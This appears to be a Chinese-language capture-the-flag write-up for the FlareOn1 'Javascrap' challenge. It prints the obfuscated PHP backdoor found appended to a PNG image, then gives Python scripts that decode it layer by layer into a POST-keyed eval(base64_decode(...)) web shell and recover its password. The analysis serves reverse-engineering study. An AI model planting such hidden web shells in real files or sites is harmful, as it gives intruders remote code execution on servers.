投稿
  1. 首页
  2. python

CTF逆向-[FlareOn1]Javascrap-web逆向中发现的php后门的逐步解析方式，得到后门的密码

code•2022-5-6•python•阅读24

CTF逆向-[FlareOn1]Javascrap-web逆向中发现的php后门的逐步解析方式，得到后门的密码,第1张

CTF逆向-[FlareOn1]Javascrap-web逆向中发现的php后门的逐步解析方式，得到后门的密码

来源：https://buuoj.cn/

内容：

附件：链接：http://www.kaotop.com/file/tupian/20220506/init" ?>，猜测是一个后门

  • 找到目录下的flare-on.png，拖进010editor(CTF逆向-常用的逆向工具 提取码：pnbt )里面查看，发现文件尾部存在一些php执行

  • 将其复制出来稍作处理

    •  
  $terms=array("M", "Z", "]", "p", "\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|");
  $order=array(59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37, 91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24, 1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49, 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11, 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47);
  $do_me="";
  for($i=0;$i<count($order);$i++){
    $do_me=$do_me.$terms[$order[$i]];
  }
    eval($do_me); 
?>

  • 在python中还原它

    • order = [59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37, 91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24,
         1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49, 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11, 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47]
terms = ["M", "Z", "]", "p", "\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U",
         "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|"]

result = [terms[x] for x in order]
content = ''.join(result)
print(content)
# $_= 'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9';
# $__='JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7';
# $___="\x621\x735\x36\x5f4\x653\x6f4\x65";
# eval($___($__));

  • 发现"\x621\x735\x36\x5f4\x653\x6f4\x65"就是$code=base64_decode($_);eval($code);

  • 进一步处理，得到解码值

    • php_final_content = 'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9'
php_final_content = base64.b64decode(php_final_content)
print(php_final_content.decode())
# if(isset($_POST["\x4F6\x68\x74\x44\x4F\x54\x6A\x76\x61\x35\x63\x72\x70\x41\x66\x6C\x72\x65\x44\x5310\x6F\x6D"])) { eval(base64_decode($_POST["\x31\x4F\x5464\x616\x44\x5468\x634\x61\x702\x6C\x6141\x44\x531\x6E\x44\x4F\x6F\x6D"])); }

    • if(isset($_POST["\x4F6\x68\x74\x44\x4F\x54\x6A\x76\x61\x35\x63\x72\x70\x41\x66\x6C\x72\x65\x44\x5310\x6F\x6D"])) { eval(base64_decode($_POST["\x31\x4F\x5464\x616\x44\x5468\x634\x61\x702\x6C\x6141\x44\x531\x6E\x44\x4F\x6F\x6D"])); }

  • 发现两个字符串，之间存在一些区别，如第三个字符，第一个字符串的\49在第二个字符串里面是\x31，发现0x31其实就是49的16进制值。推测出将会做替换，将\XX变换为chr(xx)。得到解码方法将带【\】的字符按整数类型寻找对应的ascii码

    • "\x4F6\x68\x74\x44\x4F\x54\x6A\x76\x61\x35\x63\x72\x70\x41\x66\x6C\x72\x65\x44\x5310\x6F\x6D"
    • "\x31\x4F\x5464\x616\x44\x5468\x634\x61\x702\x6C\x6141\x44\x531\x6E\x44\x4F\x6F\x6D"
  • def get_result(php_post:str)->str:
  php_post = php_post.split('\')[1:]

  # 将带【\】的字符按整数类型寻找对应的ascii码
  def convert(x: str) -> str:
      if x[0] == 'x':  # 16进制数
          return struct.unpack(',bytes.fromhex(x[1:]))[0]
      return int(x)

  php_post = [convert(x) for x in php_post]
  php_post = [chr(x) for x in php_post]
  php_post = ''.join(php_post)
  return php_post

php_post = r'\x4F6\x68\x74\x44\x4F\x54\x6A\x76\x61\x35\x63\x72\x70\x41\x66\x6C\x72\x65\x44\x5310\x6F\x6D'
print(get_result(php_post)) # a11DOTthatDOTjava5crapATflareDASHonDOTcom

php_post = r'\x31\x4F\x5464\x616\x44\x5468\x634\x61\x702\x6C\x6141\x44\x531\x6E\x44\x4F\x6F\x6D'
print(get_result(php_post)) # a11DOTthatDOTjava5crapATflareDASHonDOTcom

  • 得到答案a11DOTthatDOTjava5crapATflareDASHonDOTcom

  • 根据description.txt中的提示，flag格式为flag{123456@flare-on.com}

  • 故将答案中的DOT替换为.，DASH替换为-，AT替换为@，得到结果为a11.that.java5crap@flare-on.com

    • 其他文档

    • Python反汇编方法 Python的pyc字节码反编译反汇编相关知识

    • CTF逆向-常用的逆向工具 提取码：pnbt

    • B站教程中国某省队CTF集训(逆向工程部分)

      • 中国某省队CTF集训(逆向工程部分)(已授权)(一)
      • 基础加密方式例如 XXTEA、Base64换表
      • Python库 Z3 方程式、不定式等的 约束求解
      • 基础的假跳转花指令(脏字节)
      • 非自然程序流程
        • 扁平化程序控制流
        • OLLVM程序流程（虚拟机壳） 很难一般不考
        • ida里面按X键跟踪，寻找所有Ty为w的引用（即类型是写入的），通常就是关键位置
      • 中国某省队CTF集训(逆向工程部分)(已授权)(二)
      • ollydb动调去壳，upx为例子
      • python的逆向和自定义虚拟指令
        • 使用pycdc 提取码：dorr 解密python编译的exe或者pyc
        • 逐条去解析用py字典手动实现的指令调用
        • C++编译的程序的逆向
      • 中国某省队CTF集训(逆向工程部分)(已授权)(三)
        • 简单模运算加密
        • base58 寻找一下特别大的数，这种数通常是算法的标识，或者ida7.7版本以上自带的find crypt插件ctrl+alt+f
        • 常见的关键位置是有新的内存分配的地方通常是关键地方，或者函数中间突然return的地方也是
        • 迷宫题 注意绘制出来就好
        • 动调题
          • 注意观察会执行的反调试分支，例如出现int 3，需要跳过去

    • 基本知识

      • 大小端序

    更多CTF逆向题通用性做法和常用工具下载参考该博文内容：CTF逆向Reverse题的玩法

    相关逆向CTF题

    • Python

      • [CTF逆向-羊城杯 2020]Bytecode-WP-Python字节码反编译

    • 远程调试汇编

      • CTF逆向-[watevrCTF 2019]Timeout-WP-远程调试和修改程序当前运行位置RIP

    • 流程控制

      • CTF逆向-Dig the way Interesting Pointer-通过栈溢出方式覆盖变量以达到修改执行流程的目的

    • 逆向思维

      • [CTF逆向-NPUCTF2020]Baby Obfuscation-逆向思维编写脚本以及函数含义的逻辑理解
      • [CTF逆向-MRCTF2020]EasyCpp - C++类型的逆向通用 *** 作方法
      • [CTF逆向-SUCTF2018]babyre-WP-cpp简单迭代并按表输出值的爆破

    • 安卓

      • [CTF逆向-网鼎杯 2020 青龙组]bang-安卓脱壳逆向：frida-dexdump导出得到源码

    • 虚拟机

      • [CTF逆向-GWCTF 2019]babyvm-WP-虚机模拟流程反向编码和z3约束求解器解方程工具的使用
      • [CTF逆向-WMCTF2020]easy_re-WP_虚机-perl加载器截取

    • 反调试和SMC

      • [CTF逆向-SCTF2019]creakme-WP-基于AES加密算法下的保护：反调试及except_handler和SMC

    • 加密

      • [CTF逆向-FlareOn2]very_success-WP_rol循环位移加密
      • base64换表
        • [CTF逆向-CISCN2018]2ex-WP_mips-32架构以及base64换表
        • [CTF逆向-De1CTF2019]Re_Sign-简单脱壳和base64换表编码的深度算法跟踪

    • 花指令

      • [CTF逆向-SCTF2019]babyre-WP_简单去花指令和流程识别

    • 流程混淆的扁平化处理

      • [CTF逆向-RoarCTF2019]polyre-WP_控制流扁平化去混淆idcpy去指令

      • CTF逆向-[SUCTF2019]hardcpp-使用优化过的deflat.py处理混淆的控制流并将cpp的lambda解析得到实际处理逻辑

    欢迎分享，转载请注明来源：内存溢出

    原文地址:https://54852.com/langs/799539.html

    赞 (0)
    打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
    codecode管理员组
    00
    上一篇 2022-05-06
    下一篇2022-05-06

    发表评论

    登录后才能评论

    评论列表（0条）

      保存